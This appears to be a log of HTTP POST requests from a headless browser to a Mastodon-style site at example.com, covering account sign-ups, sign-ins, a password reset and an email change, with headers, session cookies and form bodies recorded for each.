{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 423", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=BzSfYGxyQDsLHb%2Bf54xvkU7zDrirNTbfYrVdNRSun13nMUaRAY7q9RFPBh46Nw5aUI8xxu%2BCBgeRraxCyKUl9Z32ZAb%2FeRrCHzXFDn9bStl41cktZKmy8P4bTAh%2FY4j4c2fxhIIZ0P7wuUnUkzIT8W1GAc%2FxReDGXzlfmP3%2FKlKLsvjxC6yqc2F8N1eKVtiG87y6dg1IW3M12lNBD%2BWLrpmNjG%2F7vYOzzXeFGtqeupf83da83igN6w8tRpsL0%2FnuNpCOBPjZtITEuaC8cih4TxweDiLWjmnUFz%2F3SB9FoUwqWOiE%2BNZwd6xNvL2kh6RwLnKFGm35jO0l2gm57FILIy6znj3dfbX25b%2F9UIfXKjOWcm92DlbFTreNHgmk--B3u4Ehn50vGEl4EV--NC8TBUPmAiv%2Bp8HPq8jp9Q%3D%3D"], "body": "authenticity_token=6TvBMH60Ug8xEFcVK5C6ea4Xw_foaQjKfsHy0A6Xq7WJYU8g7i9fpHY9tL-KHbdZyzb2OoqHY4-D8dr9akQw5A&user%5Baccount_attributes%5D%5Busername%5D=river_walker&user%5Bemail%5D=river.walker%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=9fxGDnaJUy6P5%2FupUfgV22RwxeuLjA7q4Lmwspt38SNhN8eRRh9AGRkqWpkeg9zsYE0%2F2GQxjd6lH3%2F71%2F%2Bsse860vR0CUxSw7pn%2Bqmtqn%2BHlnwzGCL%2FhKZ0NbnAm%2B0SuLYMAQap1Xlx7JGcU1NECtjkURA2FNbBjnVt08IbE8DTE7UVD5wmTUsSnwukkYp7glYc9%2F%2FQiB3a%2FulubQcp%2F9aqqJzIyGrdmxp%2FUwIivohWisiZVKmHyx%2B5NDPsdFJHABqNVX8KOvV%2BtjyTK6p7PxkXHSX%2FPKMxzqiRhsMXUGLb8mQpVf1RlMsWx0FYpaQ56h4mZoD%2FcDv9ceV%2FytRCVKSD%2B0WufwJJvTtDoBrugPslybr8f03n0j%2BWYty3--UNb4xTJDMmiz%2BDRB--wZoAhi0AGiyykyrIJ2nSpA%3D%3D"], "body": "authenticity_token=YZjNGKXHNncbotH7qCpgn2myKWmyRg2DxKCWdFYeR84n-0pcNy1KP9Hf0JPmDZB4O3rLtBsiIWhItWxnBwxjXg&user%5Baccount_attributes%5D%5Busername%5D=snake_charmer&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 420", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=P9xrctFTdAcuMCSY1ClaheVF1Wp4Vi7aBmTL7DrL1SctLXrLvZ1oh2IzbsnGLGgGirUznbbBoXBSky8shxPC5C7jwkiFDuNoY0ozqnELY5ioUFpUf1rq1pbPlJ%2FpcYtrxn9FiCmso2wlUnFKyuXiZx%2FTDX%2BhXAWvsTHqdJ5L3fL2QVC2CdIM1Rh1MTKv3SWbR1pPQjbZR06dnoA82KKeQMSRHr4qKQMErQQNjivJNVrO0KxW9DJQdIU6c%2FjzrjB9KINUT8NjD7NICDQcN3HfREI5aaLrUkAGNIWHM3zgmYBtn7xAZ7LLjCjO6jqgxh%2FaFPk7tHRAOOYdPj33sh%2FeboEmaQksYVdUgXnv1ntFaVQBpLCaWHrabHd%2BszDa--0xivXUNrhbOYJ2pW--JYET7z3%2BJ1dDWG33yT2l6A%3D%3D"], "body": "authenticity_token=BKh4vqecmRxWhTI2Lpci0Yl7Xe-1Pe0M_dkAgZk5BY6vMYP-NpzDlCUQZZunx_2gMsOk0PHEljcHR9BsPgoeUg&user%5Baccount_attributes%5D%5Busername%5D=shell_notes&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 415", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=geJlsII3AQRNWgQU1CgDXMy%2BbcXfuniolP%2Fqc5tDDm8%2B0wRLQnQc96fhTpFEzBnWQT2KW1HZFTHLJ93a78jbVnhyMlXBRWrDQwvcuBDZC6atGDW0PVAa4Hb7jyjPumehRbFLE4ysC3AEmwoIWyeEhfnIUvhkfgT1A%2BCjgGOnqInaYR9Jh4XldwopETt7K7B5potdvszXXLF0yUtFeaQaaT1t%2FajCTaCr2DqIU2Amv5w0NLrPffimA3g41Jggq5t53m6vGXDaZU82XxJ3bZpnwdV6JwsxEaQvRbp3g2weTc2tvQgalWYFLyfNbMPY6ztdm9XxZgpcyqjxAmpWtLiCoSpr%2BmO%2BGvV49YxbZjXDPfBkUs9Slmqmf08HZaID--l1kTbQSpXdfiOYs%2B--k8X8PqoFB8olmdBc2ssmLg%3D%3D"], "body": "authenticity_token=pimyeVFDUVWbfXM92X5y3W-dlmgsjwljWKjQ8kZWm2bWfHt0L6DxlD3FRRSEsbgW0MG0XtFIAJIuVbf1OPbJwA&user%5Baccount_attributes%5D%5Busername%5D=list_keeper&user%5Bemail%5D=ls-la%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 417", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vb8PzWlK0eb7wzVjSvqqlb2WVxoIXLf29EjSJ0Elqcyp4deEjqcsHEvYP%2FNzSQrFkNJWmAmQrAdniXilamdqIZRAQGSTRNdJhwX4sy842QH5v3Flm4F%2FlZs42TyDo6glgLE%2B4cwHk4llViwCjoYRHIkkwlRW6JihQyWkQGNB7XrWsTflZ0hQ7UuCI%2BmFMf3YZ5deCjJ51BHh8l%2ByiQBmvs6xXtMfY2eLzJP9bVTIIkWwmCk0i3yL83fj7eImga%2BWCduOtP%2FBUorRYP%2Bsgn6IGzdrbmhqV5vQgdckkpfEdEqgK5OKLac%2Bgp4RU2%2FJnuAQVEbJuufWG3MjqIMjfbvZ8vDT%2FGZkadSmd8wyCQaqOeAmr2RCvHoh%2BAAKEb%2B0--uI4n00hYvvgibOU2--43IEqCSj%2BnHcBQ1qoVGwag%3D%3D"], "body": "authenticity_token=zYuV7Nu8Y8f9EgVq03Wwrb7EUbtffJlTVhoZ1NXCQvemDx2lIT-PCMGoniKM_RMM5iFG8zL6w92knuUulwNM-A&user%5Baccount_attributes%5D%5Busername%5D=web_keeper&user%5Bemail%5D=htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 425", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=vF0GEzKKCKQ%2FCNzsYrj0WxhxvXZRZGO66brEDxtKDu3kJOMB1uLGD60H%2BWyrlxkX5wfg3H2CEUEBuJ0LWz%2F%2F4GFr7ctkxFSY%2B5Fun5C572mtZeSCnvIpYPz5OHfxIfVT9lmo5Kw01NNfGBaRkqXuMHMlHDicu3AiNVnA20Dt7iO1govzRMU2a4XfnDwImMqQBM0ArRf6gIs1CT7wwXq4g9%2B8WD9jQ31wwmBW%2FRpy5Vll1Qqr5VPv0WNyNhGcXC3taPQZnfZsXpMNuu0ydfho9bkhIkS6Iw05sNHpHE5BVK%2B7uOtWfISLVkFb1S9nythMAPTPrI8S1pqycCnIXpiWjkaeDhb1nhpwAVD%2BuIam4vU7o%2BM%2FEap9yXVzLowB--Oo%2BZ20ODoy5ziMqd--0kUqOPJSpTjTeKP0mPEGuQ%3D%3D"], "body": "authenticity_token=RRxTKuoJ--EMefz7JfASZGs6qCvYiZDDN46sALlLgcVmsYPW6VLqhrMLRFwHDWDBxpkY7aSzan2M2HgSV6io1g&user%5Baccount_attributes%5D%5Busername%5D=notes_keeper&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 419", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=M2z%2Fm%2BSZOzs1UFLwO36y%2BvHU%2BDx67YmbD%2BiOQYv5Wkd44Ujcca69fmFfOnN55Za9rE2%2FyEgDNPVelsnbehNPniXFVv3BT%2Bn%2BS8fTtWijRXEaSweO3szQt848QWFtp%2FcQTkGzky4iBvgZsPqPLnsX3V9RgM7WlJFwvK99MU2Msi3q5IOA9kqgblZhpie13HXGDclCIdMXKZAnO6kZMZ2UdzV6g7gwU2VYnHt%2F3vrwpxeszfdjk4V9HzoADNvO6W2bd8%2BMwVZ89FKW08Th4osRE3thPMs1jQANRfDEqhIoMVGFXonynBjBF%2FePoKjVVp1MkqyHAf3fPOUCU48n5shE1MhX33xMs%2FEwpLqXHjt4LDvJsQREZqti%2BzIIvhlc--Qr0ZZKxzdfBRgyBn--HQXSsN2nfe3wP2ALRIG52w%3D%3D"], "body": "authenticity_token=i_kCx3OTp2u9LD3ZiS2hYdUpKablxBABcHmGkUOQ4PxpZ0LKFmaVg2FCor8C2eY6gklGF2IOLz8yRpW_WKPS6Q&user%5Baccount_attributes%5D%5Busername%5D=jane_doe&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 203", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=o1e7dhjGvgxwcsifl1ecgUt1%2FAvzlxWhJIx8cSJo1eYg41yWmFvZB4OFlbjvFCv1FksdiraegpzG7dfEurGH4jLP5HjFBzis8EAHFvbvByZ0DsVD0zcT8sYbMiGJZ0e6gKDo4s4%2FyDZB62f%2B7985VUGvJepD8RmYiSbxwEJbOkOeb4Prq24pwYUOeie94tfHeiy%2ByqRx1Yzb%2Fs8XOxqJM2OmQId76stDvRvOD1xi0DbubhwhTkx%2F6H5Xu6rA71VG6uPQF%2F6uv8%2B%2BsLU%2BcdInOZiaT21%2BX2084A%3D%3D--0VyhNV877UlOFlZL--SDrBj3L5kjLOpi0cODL%2Fug%3D%3D"], "body": "authenticity_token=MFFMVyCA4yDlS5_I5Lc6rsjXcKtMYPcZiyZMcKE_a8jQW7oQtURKdDOe9KBW1L2n_dED4V6v0URhHkSPFqOLMA&user%5Bemail%5D=python3%40example.com&user%5Bpassword%5D=3b7f7501c34aa6ec675a10d56fd40c0b&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 206", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=OsPZG6jraaZrlor8E21igqQTGmJj3iroGT3LClUtQ%2FvfZ8KUVTlP1gFIUZGL7tA4RKoAqufM4h3gc0f9iHkW1iBN4Zzy0P1EsJApBxmdhA5jWjykmlmDkjbl3XBpC2bjSfEclHMDaFdxeDsvrRpCnPI8e%2FOHHf2dPKTXFwPy3uXJNbMErwBXYkIj5LJ26ho0NV2aaK4cBpBiIrbL3fBGNJE1xIeNr0RfQb4SDJFajs%2Fajocj8pqMYwh5Ee%2BR1GJxMTbrP%2BAQNx4Flwxmmw%2FyE0b0AsREZsGuAA%3D%3D--a2UepQY3UObgLWTr--Hi6YPBdW0CU9j2frkzkeHA%3D%3D"], "body": "authenticity_token=PYFWxjQiwc5UwMK7NZgRoU6vgGXRkn_EDKp_yCxPGVq4DuzKjBXWord55DAx9sbqkELSr25IgTDgfCWpSvmRbg&user%5Bemail%5D=powershell%40example.com&user%5Bpassword%5D=b020e31ede8445291808e84d0d4b0b39&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 208", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=GQG7th4SSFJJptboyXQ2nHbPzeVgYr5siGKXLEZdC1Pr4J23PYsrhLzFVLJmqgtqCyGBfgvEUv9c53bD8%2Fo3spsYbtMO3aJ11fZ0SN0FzGm%2BhQG8NB1tXkwloULmycgyIwKcocIbVF0BVAuvEnKT%2FEyw%2B5fOHUBnPaHVfdwzPUhnLI8B5qoT9fNGH6%2Bg76e467c1FFktpmrkTXlj%2FIJPmlt8sDRv9bcTopBm5%2BJdDSOs2XZT2FjcKVlgKj5f9jn7gSvDMXimkxmTGnlO3gWlN6zdEMveFAbjUg%3D%3D--iLCeyhs89gQ%2F0a20--HCAgEQsJ9Sqct7delCVdaA%3D%3D"], "body": "authenticity_token=0BLTgaOX0KtQd9oJd9t_iJ3DuS4pc9mvLJ5d-1y-1hsU0d51EBPJchQyu-8UdpUXq3sldu-e9dU55qgJNa6stw&user%5Bemail%5D=jane.profile%40example.com&user%5Bpassword%5D=5ceccf6b6ec8b568a106c73028166d0a&button="}
{"method": "POST", "target": "/auth/sign_in", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 210", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=7jLd4egwOOot24vVspS3msMFVmmgSDH%2B8DEk09JyMVMsfgPUxNnD%2BE%2BEMO%2Fj75RdSC5OAN9461M7MrRycrLjJdSDrRhcVKBdDbEUm1bEIj7rx71elBJ8yJTglOYOFTtu6LzmOzgL03p0GGVsvQxc63JNnYbAIkKmNPN6%2BkdDbfdYU1PThx90MFROLgMBpYdUn7jloZep0UozcG4zreT4uZgSBDUn4lSsrT5KADjawiiac%2BkM2w1E6MSjWP8e10RlD4K6KbA%2B1gFT1rHfyFqC3rpa%2BqWUwSAxag%3D%3D--bP9FNxr5vUpKFjZd--in67PoQ14HMlhRU4%2FHolSg%3D%3D"], "body": "authenticity_token=LgSpvc7spqgXNeuzbkL5jNZfxQVFU-7ZGmmdupSr4fNKK82qvoiAFQoauw2SjbRopL_9ReZ_Vg5LXA0BOHvOCw&user%5Bemail%5D=notes.htaccess%40example.com&user%5Bpassword%5D=ec379830ac6e1374cdae7f9bca09c16f&button="}
{"method": "POST", "target": "/auth/password", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 154", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/password/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=onN31cxutUrkdlAsjTgZRSbqLWbPU0Vl%2FvH%2FhyZsReT8miqVWMxdD%2BguY%2Bqg%2Fj40HyJDDUJV8%2B6ckMeT1mtXy5gFLKRTmKJfPkMCHPRhSjDX8gkgo12yuMh3ld%2FrNHvbxNa14xV9z5bp01NZuJrNKY9a%2BZLAi66KeJ7%2FjL9EgT%2B8cVuGlkrEveNY9ns77gWSjRG9cqgpqbK%2F%2FRI7AqzAD0QdJziyU59cgs%2FDxwr0dd8%2BQSSu7SyLCownQ9tF%2B4dIwngHJg6JSDwsBzfGC7NDsZHFDp9%2BtLMeKA%3D%3D--5KTN0p7IpmlYsyNX--jXLGfWPMiD490n5JXGfNMQ%3D%3D"], "body": "authenticity_token=wfRKDkI7qHsuXolnsL4rNRhEeUpUc2OL4w9nofE7M_QLmREQyYJCvFOzcGYTLAlqHxnTgH8xcr6E4F4sc7Ro2A&user%5Bemail%5D=powershell%40example.com&button="}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 282", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqY3dOR05pTURRME1UWmlZbVppT1RCaU1tWm1abVppWlRGbFltUmtObVkxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDU6MTA6MTIuODI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8594fc8147b2d23629c95a7431c076ee080a4f57; _mastodon_session=KtK1BZrdGRobd2xqCBEJfZVUudj0%2BSUW8TrvkGK0ZqmhC0Rh%2BUi%2FSjXaqHMSuhYCEjZNRN8u2b98XpxGTyp%2Bg09UbxjQBwfDBBfeSr3ne6qpaw5AlUvwMYCybj8eJ2hl2OPOvMiKgC%2FzcxWfpHbGsHG%2BNVsdXgWDX1o28gPkSAJDVqnyLf1oU4zsO4mKeiUDvKQN0uW0RjCpHpAJy7RCUzQe2N%2BBlJaBbdJ0ixGhkE2IVklAngJfVWYbhu4FxdCMhlgN3pNOOZ60FpvVYgEobCc2NursD0afkopkoDOcQkN%2FQOUTYWodPL3A8ATg6fA4rX1XMLUTHFBq8ujKiLj1K7izpb764r1M7RcTSwy1ZlejMRs3qLgeszlFrHWW7nNAW86%2B51tH8ZRH--0PZbJclhDE2LDd7W--d%2By6fe0fWZYd3syDnPoIgw%3D%3D"], "body": "_method=put&authenticity_token=ckaBKUhX16h1HG-5tvLsAvRglICUuw583pReBXgF1ZVYjPY9N8EhdPbuO9tg0hUpOC0P2Jy180A2nydjM6X3SQ&user%5Bemail%5D=python3.notes%40example.com&user%5Bcurrent_password%5D=0fbac3da2c8c42297ea052a558c463d7&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&button="}
